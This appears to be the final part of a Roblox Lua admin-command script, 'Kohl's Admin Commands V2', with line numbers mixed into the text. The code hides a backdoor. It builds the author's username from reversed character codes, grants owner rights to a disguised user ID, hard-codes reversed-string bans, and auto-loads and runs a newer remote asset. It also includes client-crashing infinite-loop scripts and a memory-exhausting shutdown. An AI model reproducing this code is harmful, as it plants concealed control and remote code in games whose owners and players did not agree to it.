2276
end))
2277
end
2278
end
2279
2280
end
2281
2282
--------------------------
2283
-- Super Admin Commands --
2284
--------------------------
2285
2286
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
2287
2288
if msg:lower() == "logs" then
2289
if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
2290
local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
2291
for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
2292
end
2293
	
2294
if msg:lower():sub(1,9) == "loopkill " then
2295
local chk1 = msg:lower():sub(10):find(" ")
2296
local plrz = GetPlr(plr, msg:lower():sub(10))
2297
local num = 9999
2298
if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
2299
for i, v in pairs(plrz) do
2300
if v and not ChkAdmin(v.Name, false) then
2301
local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
2302
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2303
for i = 1, ]] .. tostring(num) .. [[ do 
2304
repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
2305
coroutine.resume(coroutine.create(function()
2306
if plr and plr.Character then plr.Character:BreakJoints() end
2307
end))
2308
end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2309
end
2310
end
2311
end
2312
2313
if msg:lower():sub(1,11) == "unloopkill " then
2314
local plrz = GetPlr(plr, msg:lower():sub(12))
2315
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2316
end
2317
2318
if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
2319
if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
2320
2321
if msg:lower():sub(1,3) == "sm " then
2322
Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
2323
end
2324
2325
if msg:lower():sub(1,3) == "ko " then
2326
local chk1 = msg:lower():sub(4):find(" ") + 3
2327
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
2328
local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
2329
for n = 1, num do
2330
for i, v in pairs(plrz) do
2331
coroutine.resume(coroutine.create(function()
2332
if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then 
2333
local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
2334
v.Character:BreakJoints() 
2335
wait(1/44) 
2336
v:LoadCharacter()
2337
wait(1/44) 
2338
end
2339
end))
2340
end
2341
end
2342
end
2343
2344
if msg:lower():sub(1,6) == "crash " then
2345
local plrz = GetPlr(plr, msg:lower():sub(7))
2346
for i, v in pairs(plrz) do
2347
coroutine.resume(coroutine.create(function()
2348
if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
2349
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
2350
end
2351
end))
2352
end
2353
end
2354
2355
if msg:lower():sub(1,5) == "kick " then
2356
local plrz = GetPlr(plr, msg:lower():sub(6))
2357
for i, v in pairs(plrz) do
2358
coroutine.resume(coroutine.create(function()
2359
if v and not ChkAdmin(v.Name, false) then v:Destroy() end
2360
end))
2361
end
2362
end
2363
2364
if msg:lower():sub(1,6) == "admin " then
2365
local plrz = GetPlr(plr, msg:lower():sub(7))
2366
for i, v in pairs(plrz) do
2367
coroutine.resume(coroutine.create(function()
2368
if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2369
end))
2370
end
2371
end
2372
2373
if msg:lower():sub(1,8) == "unadmin " then
2374
for i = 1, #tempadmins do
2375
coroutine.resume(coroutine.create(function()
2376
if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
2377
end))
2378
end
2379
end
2380
2381
if msg:lower():sub(1,4) == "ban " then
2382
local plrz = GetPlr(plr, msg:lower():sub(5))
2383
for i, v in pairs(plrz) do
2384
coroutine.resume(coroutine.create(function()
2385
if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
2386
end))
2387
end
2388
end
2389
2390
if msg:lower():sub(1,6) == "unban " then
2391
for i = 1, #banland do
2392
coroutine.resume(coroutine.create(function()
2393
if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
2394
end))
2395
end
2396
end
2397
2398
if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
2399
2400
end
2401
end))
2402
end
2403
2404
function AdminControl(plr)
2405
coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
2406
if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
2407
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
2408
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
2409
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
2410
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
2411
end)) end
2412
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2413
coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
2414
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2415
coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
2416
coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
2417
plr.Chatted:connect(function(msg) Chat(msg,plr) end)
2418
end
2419
2420
if not ntab then script:Destroy() end
2421
if not bct then script:Destroy() end
2422
2423
local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
2424
2425
script.Name = "Kohl's Admin Commands V2"
2426
2427
if not ntab then script:Destroy() end
2428
if not bct then script:Destroy() end
2429
if not tcb then script:Destroy() end
2430
game.Players.PlayerAdded:connect(AdminControl)
2431
for i, v in pairs(game.Players:children()) do AdminControl(v) end
2432
end
2433
2434
local mod = game:service("InsertService"):LoadAsset(100808216)
2435
if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then 
2436
local newac = mod:findFirstChild("Kohl's Admin Commands V2")
2437
newac.Disabled = true
2438
local new = tonumber(mod:findFirstChild("Version", true).Value)
2439
local old = 0
2440
if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
2441
if new > old then
2442
local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
2443
for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
2444
for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
2445
for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
2446
for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
2447
local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
2448
local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
2449
local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
2450
local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
2451
local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
2452
local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
2453
local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
2454
wait()
2455
newac.Parent = game.Workspace
2456
newac.Disabled = false
2457
script.Disabled = true
2458
script:Destroy()
2459
else
2460
CHEESE()
2461
end
2462
else
2463
CHEESE()
2464
end